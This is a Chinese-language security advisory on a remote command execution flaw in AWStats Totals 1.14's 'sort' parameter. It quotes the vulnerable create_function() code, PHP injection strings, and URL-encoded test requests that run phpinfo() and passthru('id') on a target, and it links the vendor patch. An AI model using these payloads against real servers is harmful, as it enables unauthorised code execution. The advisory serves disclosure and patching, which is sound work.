安全研究
安全漏洞
安全漏洞
所有系统
AIX
BSD(eg,OpenBSD)
Digital Unix
HP-UX
IRIX
Linux
FreeBSD
SCO UNIX
SunOS
Solaris
Windows
所有类型
远程进入系统
本地越权访问
拒绝服务攻击
嵌入恶意代码
Web数据接口
其他类型
AWStats Totals sort参数远程命令执行漏洞
发布日期:
2008-08-26
更新日期:
2008-08-27
受影响系统:
Telartis AWStats Totals 1.14
不受影响系统:
Telartis AWStats Totals 1.15
描述:
BUGTRAQ ID:
30856
AWStats Totals是用于查看AWStats日志分析工具总数的简单PHP脚本。
AWStats Totals取了3个URL参数month、year和sort,并未经有效性检查便使用了这些参数。程序使用sort参数通过create_function()函数构建匿名的PHP函数:
> function multisort(&$array, $key) {
> $cmp = create_function('$a, $b',
> 'if ($a["'.$key.'"] == $b["'.$key.'"]) return 0;'.
> 'return ($a["'.$key.'"] > $b["'.$key.'"]) ? -1 : 1;');
> usort($array, $cmp);
> }
>
> if ($sort == 'config') sort($rows); else multisort($rows, $sort);
如果精心匹配引号和尖括号的话,就可以向函数代码中注入PHP表达式。例如,如果要运行phpinfo()函数,可以设置如下的sort值:
"].phpinfo().$a["
由于会多次运行所注入的代码,因此可以在单次调用后退出程序:
"].phpinfo().exit().$a["
还可以在较新版本PHP的字符串中使用变量扩展注入PHP表达式:
{${phpinfo()}}{${exit()}}
<*来源:Elliot Kendall (
ekendall@brandeis.edu
)
链接:
http://marc.info/?l=bugtraq&m=121977666015052&w=2
http://secunia.com/advisories/31630/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2ephpinfo%28%29%2eexit%28%29%2e%24a%5b%22
http://host.tld/some/path/awstatstotals.php?sort=%22%5d%2epassthru%28%27id%27%29%2eexit%28%29%2e%24a%5b%22
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bphpinfo%28%29%7d%7d%7b%24%7bexit%28%29%7d%7d
http://host.tld/some/path/awstatstotals.php?sort=%7b%24%7bpassthru%28chr(105)%2echr(100)%29%7d%7d%7b%24%7bexit%28%29%7d%7d
建议:
厂商补丁:
Telartis
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.telartis.nl/xcms/awstats/
浏览次数:
3699
严重程度:
0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客